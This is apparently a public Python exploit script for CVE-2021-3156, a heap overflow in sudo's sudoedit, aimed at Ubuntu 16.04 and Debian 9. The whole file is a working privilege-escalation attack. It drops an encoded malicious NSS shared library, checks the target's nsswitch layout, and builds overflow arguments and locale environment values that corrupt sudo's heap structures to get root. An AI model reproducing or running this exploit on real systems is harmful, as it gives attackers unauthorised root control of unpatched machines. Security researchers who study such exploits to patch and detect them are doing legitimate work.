#!/usr/bin/python ''' Exploit for CVE-2021-3156 on Ubuntu 16.04 by sleepya This exploit requires: - glibc without tcache - nscd service is not running - only defaults /etc/nsswitch.conf (need adjust LC_* if changed) Below is important struct that MUST be carefully overwritten - Fake service_user before name_database_entry - Overwrite only least significant byte of name_database_entry->service to NULL. a servive pointer point to fake service in overwritten area. Note: Exploit might fail with certain configuration even on a tested target. Don't expect too much. Tested on: - Debian 9.13 ''' import os SUDO_PATH = b"/usr/bin/sudo" def execve(filename, argv, envp): from ctypes import cdll, c_char_p, POINTER libc = cdll.LoadLibrary("libc.so.6") libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) cargv = (c_char_p * len(argv))(*argv) cenvp = (c_char_p * len(env))(*envp) libc.execve(filename, cargv, cenvp) def create_libx(name): so_path = 'libnss_'+name+'.so.2' if os.path.isfile(so_path): return # existed so_dir = 'libnss_' + name.split('/')[0] if not os.path.exists(so_dir): os.makedirs(so_dir) import zlib import base64 libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3' with open(so_path, 'wb') as f: f.write(zlib.decompress(base64.b64decode(libx_b64))) def check_nsswitch(): idx = 0 found_passwd = False with open('/etc/nsswitch.conf', 'r') as f: for line in f: if line.startswith('#'): continue # comment line = line.strip() if not line: continue # empty line words = line.split() cnt = 0 for word in words[1:]: if word[0] != '[': cnt += 1 if words[0] == 'group:': if not found_passwd: return False return cnt == 1 if words[0] == 'passwd:': if cnt != 1: return False found_passwd = True # TODO: should check all line because they might affect offset return False assert check_nsswitch(), '/etc/nsswith.conf is not default. offset is definitely wrong' create_libx("X/X1234") TARGET_CMND_SIZE = 0x30 argv = [ b"sudoedit", b"-A", b"-s", b"a", b"a", b"A"*(TARGET_CMND_SIZE-0x10-4)+b"\\", None ] env = [ b"A"*0x5e+b"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->library "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->known b"X/X1234\\", # service_user->name b"A"*0x2f+b"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # name_database_entry->next "", # overwrite last byte of service pointer to 0, so point back to above b"LC_MESSAGES=C_zzzzzzzz.UTF-8@"+b"L"*0xd0+b";a=a", b"LC_PAPER=C_gggg.UTF-8@"+b"L"*0x30, b"LC_NAME=C_gggg.UTF-8@"+b"L"*0x4, b"LC_TIME=C_gggg.UTF-8@"+b"L"*0x1, b"LANG=C.UTF-8@"+b"Z"*0xd0, None, ] execve(SUDO_PATH, argv, env)